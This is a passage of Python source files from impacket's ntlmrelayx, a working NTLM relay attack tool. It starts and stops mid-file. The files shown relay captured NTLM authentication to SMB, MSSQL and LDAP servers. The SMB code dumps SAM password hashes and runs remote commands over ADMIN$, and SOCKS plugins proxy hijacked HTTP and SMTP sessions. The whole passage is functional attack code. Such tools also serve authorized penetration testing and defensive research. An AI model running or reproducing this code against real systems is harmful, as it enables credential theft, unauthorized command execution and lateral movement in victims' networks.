smb.SMB) or isinstance(SMBClient, smb3.SMB3): 39 | self.__SMBConnection = SMBConnection(existingConnection=SMBClient) 40 | else: 41 | self.__SMBConnection = SMBClient 42 | self.__answerTMP = '' 43 | if self.config.interactive: 44 | #Launch locally listening interactive shell 45 | self.tcpshell = TcpShell() 46 | else: 47 | self.tcpshell = None 48 | if self.config.exeFile is not None: 49 | self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) 50 | 51 | def __answer(self, data): 52 | self.__answerTMP += data 53 | 54 | def run(self): 55 | # Here PUT YOUR CODE! 56 | if self.tcpshell is not None: 57 | LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) 58 | #Start listening and launch interactive shell 59 | self.tcpshell.listen() 60 | self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) 61 | self.shell.cmdloop() 62 | return 63 | if self.config.exeFile is not None: 64 | result = self.installService.install() 65 | if result is True: 66 | LOG.info("Service Installed.. CONNECT!") 67 | self.installService.uninstall() 68 | else: 69 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes 70 | from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins 71 | samHashes = None 72 | try: 73 | # We have to add some flags just in case the original client did not 74 | # Why? needed for avoiding INVALID_PARAMETER 75 | if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: 76 | flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() 77 | flags2 |= smb.SMB.FLAGS2_LONG_NAMES 78 | self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) 79 | 80 | remoteOps = RemoteOperations(self.__SMBConnection, False) 81 | remoteOps.enableRegistry() 82 | except Exception, e: 83 | if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges 84 | if self.config.enumLocalAdmins: 85 | LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost())) 86 | enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) 87 | try: 88 | localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() 89 | LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost())) 90 | for name in localAdminNames: 91 | LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost(), name)) 92 | except DCERPCException, e: 93 | LOG.info("SAMR access denied") 94 | return 95 | # Something else went wrong. aborting 96 | LOG.error(str(e)) 97 | return 98 | 99 | try: 100 | if self.config.command is not None: 101 | remoteOps._RemoteOperations__executeRemote(self.config.command) 102 | LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) 103 | self.__answerTMP = '' 104 | self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) 105 | self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') 106 | print self.__answerTMP.decode(self.config.encoding, 'replace') 107 | else: 108 | bootKey = remoteOps.getBootKey() 109 | remoteOps._RemoteOperations__serviceDeleted = True 110 | samFileName = remoteOps.saveSAM() 111 | samHashes = SAMHashes(samFileName, bootKey, isRemote = True) 112 | samHashes.dump() 113 | samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') 114 | LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) 115 | except Exception, e: 116 | LOG.error(str(e)) 117 | finally: 118 | if samHashes is not None: 119 | samHashes.finish() 120 | if remoteOps is not None: 121 | remoteOps.finish() 122 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/mssqlrelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL (TDS) Protocol Client 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL client for relaying NTLMSSP authentication to MSSQL servers 15 | # 16 | # ToDo: 17 | # [ ] Handle SQL Authentication 18 | # 19 | import random 20 | import string 21 | from struct import unpack 22 | 23 | from impacket import LOG 24 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 25 | from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ 26 | TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN 27 | from impacket.ntlm import NTLMAuthChallenge 28 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 29 | from impacket.spnego import SPNEGO_NegTokenResp 30 | 31 | try: 32 | import OpenSSL 33 | from OpenSSL import SSL, crypto 34 | except Exception: 35 | LOG.critical("pyOpenSSL is not installed, can't continue") 36 | 37 | PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" 38 | 39 | class MYMSSQL(MSSQL): 40 | def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): 41 | MSSQL.__init__(self,address, port, rowsPrinter) 42 | self.resp = None 43 | self.sessionData = {} 44 | 45 | def initConnection(self): 46 | self.connect() 47 | #This is copied from tds.py 48 | resp = self.preLogin() 49 | if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: 50 | LOG.debug("Encryption required, switching to TLS") 51 | 52 | # Switching to TLS now 53 | ctx = SSL.Context(SSL.TLSv1_METHOD) 54 | ctx.set_cipher_list('RC4, AES256') 55 | tls = SSL.Connection(ctx,None) 56 | tls.set_connect_state() 57 | while True: 58 | try: 59 | tls.do_handshake() 60 | except SSL.WantReadError: 61 | data = tls.bio_read(4096) 62 | self.sendTDS(TDS_PRE_LOGIN, data,0) 63 | tds = self.recvTDS() 64 | tls.bio_write(tds['Data']) 65 | else: 66 | break 67 | 68 | # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 69 | # Transport Layer Security(TLS), limit data fragments to 16k in size. 70 | self.packetSize = 16*1024-1 71 | self.tlsSocket = tls 72 | self.resp = resp 73 | return True 74 | 75 | def sendNegotiate(self,negotiateMessage): 76 | #Also partly copied from tds.py 77 | login = TDS_LOGIN() 78 | 79 | login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') 80 | login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le') 81 | login['ServerName'] = self.server.encode('utf-16le') 82 | login['CltIntName'] = login['AppName'] 83 | login['ClientPID'] = random.randint(0,1024) 84 | login['PacketSize'] = self.packetSize 85 | login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON 86 | 87 | # NTLMSSP Negotiate 88 | login['SSPI'] = str(negotiateMessage) 89 | login['Length'] = len(str(login)) 90 | 91 | # Send the NTLMSSP Negotiate 92 | self.sendTDS(TDS_LOGIN7, str(login)) 93 | 94 | # According to the specs, if encryption is not required, we must encrypt just 95 | # the first Login packet :-o 96 | if self.resp['Encryption'] == TDS_ENCRYPT_OFF: 97 | self.tlsSocket = None 98 | 99 | tds = self.recvTDS() 100 | self.sessionData['NTLM_CHALLENGE'] = tds 101 | 102 | challenge = NTLMAuthChallenge() 103 | challenge.fromString(tds['Data'][3:]) 104 | #challenge.dump() 105 | 106 | return challenge 107 | 108 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 109 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 110 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 111 | token = respToken2['ResponseToken'] 112 | else: 113 | token = authenticateMessageBlob 114 | 115 | self.sendTDS(TDS_SSPI, str(token)) 116 | tds = self.recvTDS() 117 | self.replies = self.parseReply(tds['Data']) 118 | if self.replies.has_key(TDS_LOGINACK_TOKEN): 119 | #Once we are here, there is a full connection and we can 120 | #do whatever the current user has rights to do 121 | self.sessionData['AUTH_ANSWER'] = tds 122 | return None, STATUS_SUCCESS 123 | else: 124 | self.printReplies() 125 | return None, STATUS_ACCESS_DENIED 126 | 127 | def close(self): 128 | return self.disconnect() 129 | 130 | 131 | class MSSQLRelayClient(ProtocolClient): 132 | PLUGIN_NAME = "MSSQL" 133 | 134 | def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ): 135 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 136 | self.extendedSecurity = extendedSecurity 137 | 138 | self.domainIp = None 139 | self.machineAccount = None 140 | self.machineHashes = None 141 | 142 | def initConnection(self): 143 | self.session = MYMSSQL(self.targetHost, self.targetPort) 144 | self.session.initConnection() 145 | return True 146 | 147 | def keepAlive(self): 148 | # Don't know yet what needs to be done for TDS 149 | pass 150 | 151 | def killConnection(self): 152 | if self.session is not None: 153 | self.session.disconnect() 154 | self.session = None 155 | 156 | def sendNegotiate(self, negotiateMessage): 157 | return self.session.sendNegotiate(negotiateMessage) 158 | 159 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 160 | self.sessionData = self.session.sessionData 161 | return self.session.sendAuth(authenticateMessageBlob, serverChallenge) 162 | 163 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/ldaprelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # LDAP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # LDAP client for relaying NTLMSSP authentication to LDAP servers 15 | # The way of using the ldap3 library is quite hacky, but its the best 16 | # way to make the lib do things it wasn't designed to without touching 17 | # its code 18 | # 19 | import sys 20 | from struct import unpack 21 | from impacket import LOG 22 | from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD 23 | from ldap3.operation import bind 24 | try: 25 | from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED 26 | except ImportError: 27 | LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade") 28 | sys.exit(1) 29 | 30 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 31 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 32 | from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN 33 | from impacket.spnego import SPNEGO_NegTokenResp 34 | 35 | PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"] 36 | 37 | class LDAPRelayClientException(Exception): 38 | pass 39 | 40 | class LDAPRelayClient(ProtocolClient): 41 | PLUGIN_NAME = "LDAP" 42 | MODIFY_ADD = MODIFY_ADD 43 | 44 | def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ): 45 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 46 | self.extendedSecurity = extendedSecurity 47 | self.negotiateMessage = None 48 | self.authenticateMessageBlob = None 49 | self.server = None 50 | 51 | def killConnection(self): 52 | if self.session is not None: 53 | self.session.socket.close() 54 | self.session = None 55 | 56 | def initConnection(self): 57 | self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 58 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 59 | self.session.open(False) 60 | return True 61 | 62 | def sendNegotiate(self, negotiateMessage): 63 | #Remove the message signing flag 64 | #For LDAP this is required otherwise it triggers LDAP signing 65 | negoMessage = NTLMAuthNegotiate() 66 | negoMessage.fromString(negotiateMessage) 67 | #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 68 | self.negotiateMessage = str(negoMessage) 69 | 70 | with self.session.connection_lock: 71 | if not self.session.sasl_in_progress: 72 | self.session.sasl_in_progress = True 73 | request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') 74 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 75 | result = response[0] 76 | try: 77 | sicily_packages = result['server_creds'].decode('ascii').split(';') 78 | except KeyError: 79 | raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) 80 | 81 | if 'NTLM' in sicily_packages: # NTLM available on server 82 | request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) 83 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 84 | result = response[0] 85 | 86 | if result['result'] == RESULT_SUCCESS: 87 | challenge = NTLMAuthChallenge() 88 | challenge.fromString(result['server_creds']) 89 | return challenge 90 | else: 91 | raise LDAPRelayClientException('Server did not offer NTLM authentication!') 92 | 93 | #This is a fake function for ldap3 which wants an NTLM client with specific methods 94 | def create_negotiate_message(self): 95 | return self.negotiateMessage 96 | 97 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 98 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 99 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 100 | token = respToken2['ResponseToken'] 101 | else: 102 | token = authenticateMessageBlob 103 | with self.session.connection_lock: 104 | self.authenticateMessageBlob = token 105 | request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None) 106 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) 107 | result = response[0] 108 | self.session.sasl_in_progress = False 109 | 110 | if result['result'] == RESULT_SUCCESS: 111 | self.session.bound = True 112 | self.session.refresh_server_info() 113 | return None, STATUS_SUCCESS 114 | else: 115 | if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS': 116 | raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )') 117 | return None, STATUS_ACCESS_DENIED 118 | 119 | #This is a fake function for ldap3 which wants an NTLM client with specific methods 120 | def create_authenticate_message(self): 121 | return self.authenticateMessageBlob 122 | 123 | #Placeholder function for ldap3 124 | def parse_challenge_message(self, message): 125 | pass 126 | 127 | class LDAPSRelayClient(LDAPRelayClient): 128 | PLUGIN_NAME = "LDAPS" 129 | MODIFY_ADD = MODIFY_ADD 130 | 131 | def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ): 132 | LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 133 | 134 | def initConnection(self): 135 | self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL) 136 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM) 137 | self.session.open(False) 138 | return True 139 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/smtp.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the SMTP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed SMTP connections 14 | # 15 | # ToDo: 16 | # 17 | import logging 18 | import base64 19 | 20 | from smtplib import SMTP 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "SMTPSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class SMTPSocksRelay(SocksRelay): 30 | PLUGIN_NAME = 'SMTP Socks Plugin' 31 | PLUGIN_SCHEME = 'SMTP' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | self.packetSize = 8192 36 | 37 | @staticmethod 38 | def getProtocolPort(): 39 | return 25 40 | 41 | def getServerEhlo(self): 42 | for key in self.activeRelays.keys(): 43 | if self.activeRelays[key].has_key('protocolClient'): 44 | return self.activeRelays[key]['protocolClient'].session.ehlo_resp 45 | 46 | def initConnection(self): 47 | pass 48 | 49 | def skipAuthentication(self): 50 | self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready'+EOL) 51 | 52 | # Next should be the client sending the EHLO command 53 | cmd, params = self.recvPacketClient().split(' ',1) 54 | if cmd.upper() == 'EHLO': 55 | clientcapabilities = self.getServerEhlo().split('\n') 56 | # Don't offer these AUTH options so the client won't use them 57 | # also don't offer STARTTLS since that will break things 58 | blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM'] 59 | for cap in blacklist: 60 | if cap in clientcapabilities: 61 | clientcapabilities.remove(cap) 62 | 63 | # Offer PLAIN auth for specifying the username 64 | if 'AUTH PLAIN' not in clientcapabilities: 65 | clientcapabilities.append('AUTH PLAIN') 66 | # Offer LOGIN for specifying the username 67 | if 'AUTH LOGIN' not in clientcapabilities: 68 | clientcapabilities.append('AUTH LOGIN') 69 | 70 | LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities)) 71 | # Prepare capabilities 72 | delim = EOL+'250-' 73 | caps = delim.join(clientcapabilities[:-1]) + EOL + '250 ' + clientcapabilities[-1] + EOL 74 | self.socksSocket.send('250-%s' % caps) 75 | else: 76 | LOG.error('SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params)) 77 | return False 78 | # next 79 | cmd, params = self.recvPacketClient().split(' ', 1) 80 | args = params.split(' ') 81 | if cmd.upper() == 'AUTH' and args[0] == 'LOGIN': 82 | # OK, ask for their username 83 | self.socksSocket.send('334 VXNlcm5hbWU6'+EOL) 84 | # Client will now send their AUTH 85 | data = self.socksSocket.recv(self.packetSize) 86 | # This contains base64(username), decode 87 | creds = base64.b64decode(data.strip()) 88 | self.username = creds.upper() 89 | # Client will now send the password, we don't care for it but receive it anyway 90 | self.socksSocket.send('334 UGFzc3dvcmQ6'+EOL) 91 | data = self.socksSocket.recv(self.packetSize) 92 | elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN': 93 | # Simple login 94 | # This contains base64(\x00username\x00password), decode and split 95 | creds = base64.b64decode(args[1].strip()) 96 | self.username = creds.split('\x00')[1].upper() 97 | else: 98 | LOG.error('SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params)) 99 | return False 100 | 101 | # Check if we have a connection for the user 102 | if self.activeRelays.has_key(self.username): 103 | # Check the connection is not inUse 104 | if self.activeRelays[self.username]['inUse'] is True: 105 | LOG.error('SMTP: Connection for %s@%s(%s) is being used at the moment!' % ( 106 | self.username, self.targetHost, self.targetPort)) 107 | return False 108 | else: 109 | LOG.info('SMTP: Proxying client session for %s@%s(%s)' % ( 110 | self.username, self.targetHost, self.targetPort)) 111 | self.session = self.activeRelays[self.username]['protocolClient'].session 112 | else: 113 | LOG.error('SMTP: No session for %s@%s(%s) available' % ( 114 | self.username, self.targetHost, self.targetPort)) 115 | return False 116 | 117 | # We arrived here, that means all is OK 118 | self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL) 119 | self.relaySocket = self.session.sock 120 | self.relaySocketFile = self.session.file 121 | return True 122 | 123 | def tunnelConnection(self): 124 | doneIndicator = EOL+'.'+EOL 125 | while True: 126 | data = self.socksSocket.recv(self.packetSize) 127 | # If this returns with an empty string, it means the socket was closed 128 | if data == '': 129 | return 130 | info = data.strip().split(' ') 131 | # See if a QUIT command was sent, in which case we want to close 132 | # the connection to the client but keep the relayed connection alive 133 | if info[0].upper() == 'QUIT': 134 | LOG.debug('Client sent QUIT command, closing socks connection to client') 135 | self.socksSocket.send('221 2.0.0 Service closing transmission channel%s' % EOL) 136 | return 137 | self.relaySocket.send(data) 138 | data = self.relaySocket.recv(self.packetSize) 139 | self.socksSocket.send(data) 140 | if info[0].upper() == 'DATA': 141 | LOG.debug('SMTP Socks entering DATA transfer mode') 142 | # DATA transfer, forward to the server till done 143 | while data[-5:] != doneIndicator: 144 | prevdata = data 145 | data = self.socksSocket.recv(self.packetSize) 146 | self.relaySocket.send(data) 147 | if len(data) < 5: 148 | # This can happen, the .CRLF will be in a packet after the first CRLF 149 | # we stitch them back together for analysis 150 | data = prevdata + data 151 | LOG.debug('SMTP Socks DATA transfer mode finished') 152 | # DATA done, forward server reply 153 | data = self.relaySocket.recv(self.packetSize) 154 | self.socksSocket.send(data) 155 | 156 | def recvPacketClient(self): 157 | data = self.socksSocket.recv(self.packetSize) 158 | return data 159 | 160 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/http.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTP connections 14 | # 15 | # ToDo: 16 | # 17 | import base64 18 | 19 | from impacket import LOG 20 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 21 | from impacket.ntlm import NTLMAuthChallengeResponse 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSocksRelay(SocksRelay): 29 | PLUGIN_NAME = 'HTTP Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTP' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | self.packetSize = 8192 35 | 36 | @staticmethod 37 | def getProtocolPort(): 38 | return 80 39 | 40 | def initConnection(self): 41 | pass 42 | 43 | def skipAuthentication(self): 44 | # See if the user provided authentication 45 | data = self.socksSocket.recv(self.packetSize) 46 | # Get headers from data 47 | headerDict = self.getHeaders(data) 48 | try: 49 | creds = headerDict['authorization'] 50 | if 'Basic' not in creds: 51 | raise KeyError() 52 | basicAuth = base64.b64decode(creds[6:]) 53 | self.username = basicAuth.split(':')[0].upper() 54 | if '@' in self.username: 55 | # Workaround for clients which specify users with the full FQDN 56 | # such as ruler 57 | user, domain = self.username.split('@', 1) 58 | # Currently we only use the first part of the FQDN 59 | # this might break stuff on tools that do use an FQDN 60 | # where the domain NETBIOS name is not equal to the part 61 | # before the first . 62 | self.username = '%s/%s' % (domain.split('.')[0], user) 63 | 64 | # Check if we have a connection for the user 65 | if self.activeRelays.has_key(self.username): 66 | # Check the connection is not inUse 67 | if self.activeRelays[self.username]['inUse'] is True: 68 | LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % ( 69 | self.username, self.targetHost, self.targetPort)) 70 | return False 71 | else: 72 | LOG.info('HTTP: Proxying client session for %s@%s(%s)' % ( 73 | self.username, self.targetHost, self.targetPort)) 74 | self.session = self.activeRelays[self.username]['protocolClient'].session 75 | else: 76 | LOG.error('HTTP: No session for %s@%s(%s) available' % ( 77 | self.username, self.targetHost, self.targetPort)) 78 | return False 79 | 80 | except KeyError: 81 | # User didn't provide authentication yet, prompt for it 82 | LOG.debug('No authentication provided, prompting for basic authentication') 83 | reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','',''] 84 | self.socksSocket.send(EOL.join(reply)) 85 | return False 86 | 87 | # When we are here, we have a session 88 | # Point our socket to the sock attribute of HTTPConnection 89 | # (contained in the session), which contains the socket 90 | self.relaySocket = self.session.sock 91 | # Send the initial request to the server 92 | tosend = self.prepareRequest(data) 93 | self.relaySocket.send(tosend) 94 | # Send the response back to the client 95 | self.transferResponse() 96 | return True 97 | 98 | def getHeaders(self, data): 99 | # Get the headers from the request, ignore first "header" 100 | # since this is the HTTP method, identifier, version 101 | headerSize = data.find(EOL+EOL) 102 | headers = data[:headerSize].split(EOL)[1:] 103 | headerDict = {hdrKey.split(':')[0].lower():hdrKey.split(':', 1)[1][1:] for hdrKey in headers} 104 | return headerDict 105 | 106 | def transferResponse(self): 107 | data = self.relaySocket.recv(self.packetSize) 108 | headerSize = data.find(EOL+EOL) 109 | headers = self.getHeaders(data) 110 | try: 111 | bodySize = int(headers['content-length']) 112 | readSize = len(data) 113 | # Make sure we send the entire response, but don't keep it in memory 114 | self.socksSocket.send(data) 115 | while readSize < bodySize + headerSize + 4: 116 | data = self.relaySocket.recv(self.packetSize) 117 | readSize += len(data) 118 | self.socksSocket.send(data) 119 | except KeyError: 120 | try: 121 | if headers['transfer-encoding'] == 'chunked': 122 | # Chunked transfer-encoding, bah 123 | LOG.debug('Server sent chunked encoding - transferring') 124 | self.transferChunked(data, headers) 125 | else: 126 | # No body in the response, send as-is 127 | self.socksSocket.send(data) 128 | except KeyError: 129 | # No body in the response, send as-is 130 | self.socksSocket.send(data) 131 | 132 | def transferChunked(self, data, headers): 133 | headerSize = data.find(EOL+EOL) 134 | 135 | self.socksSocket.send(data[:headerSize + 4]) 136 | 137 | body = data[headerSize + 4:] 138 | # Size of the chunk 139 | datasize = int(body[:body.find(EOL)], 16) 140 | while datasize > 0: 141 | # Size of the total body 142 | bodySize = body.find(EOL) + 2 + datasize + 2 143 | readSize = len(body) 144 | # Make sure we send the entire response, but don't keep it in memory 145 | self.socksSocket.send(body) 146 | while readSize < bodySize: 147 | maxReadSize = bodySize - readSize 148 | body = self.relaySocket.recv(min(self.packetSize, maxReadSize)) 149 | readSize += len(body) 150 | self.socksSocket.send(body) 151 | body = self.relaySocket.recv(self.packetSize) 152 | datasize = int(body[:body.find(EOL)], 16) 153 | LOG.debug('Last chunk received - exiting chunked transfer') 154 | self.socksSocket.send(body) 155 | 156 | def prepareRequest(self, data): 157 | # Parse the HTTP data, removing headers that break stuff 158 | response = [] 159 | for part in data.split(EOL): 160 | # This means end of headers, stop parsing here 161 | if part == '': 162 | break 163 | # Remove the Basic authentication header 164 | if 'authorization' in part.lower(): 165 | continue 166 | # Don't close the connection 167 | if 'connection: close' in part.lower(): 168 | response.append('Connection: Keep-Alive') 169 | continue 170 | # If we are here it means we want to keep the header 171 | response.append(part) 172 | # Append the body 173 | response.append('') 174 | response.append(data.split(EOL+EOL)[1]) 175 | senddata = EOL.join(response) 176 | 177 | # Check if the body is larger than 1 packet 178 | headerSize = data.find(EOL+EOL) 179 | headers = self.getHeaders(data) 180 | body = data[headerSize+4:] 181 | try: 182 | bodySize = int(headers['content-length']) 183 | readSize = len(data) 184 | while readSize < bodySize + headerSize + 4: 185 | data = self.socksSocket.recv(self.packetSize) 186 | readSize += len(data) 187 | senddata += data 188 | except KeyError: 189 | # No body, could be a simple GET or a POST without body 190 | # no need to check if we already have the full packet 191 | pass 192 | return senddata 193 | 194 | 195 | def tunnelConnection(self): 196 | while True: 197 | data = self.socksSocket.recv(self.packetSize) 198 | # If this returns with an empty string, it means the socket was closed 199 | if data == '': 200 | return 201 | # Pass the request to the server 202 | tosend = self.prepareRequest(data) 203 | self.relaySocket.send(tosend) 204 | # Send the response back to the client 205 | self.transferResponse() 206 | 207 | 208 | 209 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/mssql.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the MSSQL Protocol 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxy connection to relayed connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | import struct 19 | import random 20 | import logging 21 | 22 | from impacket import LOG 23 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 24 | from impacket.tds import TDSPacket, TDS_STATUS_NORMAL, TDS_STATUS_EOM, TDS_PRE_LOGIN, TDS_ENCRYPT_NOT_SUP, TDS_TABULAR, TDS_LOGIN, TDS_LOGIN7, TDS_PRELOGIN, TDS_INTEGRATED_SECURITY_ON 25 | from impacket.ntlm import NTLMAuthChallengeResponse 26 | try: 27 | import OpenSSL 28 | from OpenSSL import SSL, crypto 29 | except: 30 | LOG.critical("pyOpenSSL is not installed, can't continue") 31 | raise 32 | 33 | # Besides using this base class you need to define one global variable when 34 | # writing a plugin: 35 | PLUGIN_CLASS = "MSSQLSocksRelay" 36 | 37 | class MSSQLSocksRelay(SocksRelay): 38 | PLUGIN_NAME = 'MSSQL Socks Plugin' 39 | PLUGIN_SCHEME = 'MSSQL' 40 | 41 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 42 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 43 | self.isSSL = False 44 | self.tlsSocket = None 45 | self.packetSize = 32763 46 | self.session = None 47 | 48 | @staticmethod 49 | def getProtocolPort(): 50 | return 1433 51 | 52 | def initConnection(self): 53 | pass 54 | 55 | def skipAuthentication(self): 56 | 57 | # 1. First packet should be a TDS_PRELOGIN() 58 | tds = self.recvTDS() 59 | if tds['Type'] != TDS_PRE_LOGIN: 60 | # Unexpected packet 61 | LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type']) 62 | return False 63 | 64 | prelogin = TDS_PRELOGIN() 65 | prelogin['Version'] = 